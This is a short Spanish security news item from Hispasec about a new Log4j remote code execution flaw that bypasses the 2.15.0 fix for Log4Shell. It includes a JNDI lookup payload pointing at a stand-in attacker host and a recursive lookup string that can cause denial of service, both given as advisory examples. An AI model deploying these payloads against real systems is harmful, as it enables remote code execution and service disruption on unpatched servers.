Nuevo RCE en log4j Hispasec @unaaldia

Una nueva vulnerabilidad descubierta en log4j vuelve a permitir la ejecución de código arbitrario.

Ya comentabamos en una UAD una grave vulnerabilidad bautizada como Log4Shell o LogJam que permitía la ejecución de código arbitrario en la popular biblioteca de Java (CVE-2021-44228).

La versión 2.15.0, publicada el pasado 6 de diciembre, solucionaba el fallo bloqueando las conexiones a infraestructuras remotas (bajo control del atacante) en las búsquedas de mensajes.

Ejemplo:

String attackerData = "${jndi:ldap://attacker.com/a}"; // Búsqueda bloqueda. El payload no se ejecutará por defecto:
logger.info("Log string, but no lookup will happen: " + attackerData);

Sin embargo, aún existen partes del código en las que el payload se ejecuta, por ejemplo en Thread Context Map:

// Pasamos la cadena de búsqueda con la infraestructura del atacante
ThreadContext.put("layout-pattern-value", attackerData); # En este caso, se intentará realizar la búsqueda "${jndi:ldap://attacker.com/a}"
appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

Esto no parecía especialmente grave, ya que desde la versión 2.15.0 se bloquean las conexiones remotas y la explotación solo sería viable en un entorno local. En el peor de los casos podría generarse una recursión múltiple declarando un payload de esta forma que podría provocar una denegación de servicio.

String attackerData = "${ctx:layout-pattern-value"

Sin embargo, investigadores de seguridad han encontrado nuevas formas de saltar estas protecciones, llegando a poder exfiltrar información y ejecutar código remoto bajo ciertas condiciones o a ejecutar código arbitrario en local en cualquier situación.

Por ese motivo se ha elevado la criticidad del nuevo CVE a 9.

Publicaciones relacionadas

<!–
–>
Fuente obtenida de: https://unaaldia.hispasec.com/2021/12/nuevo-rce-en-log4j.html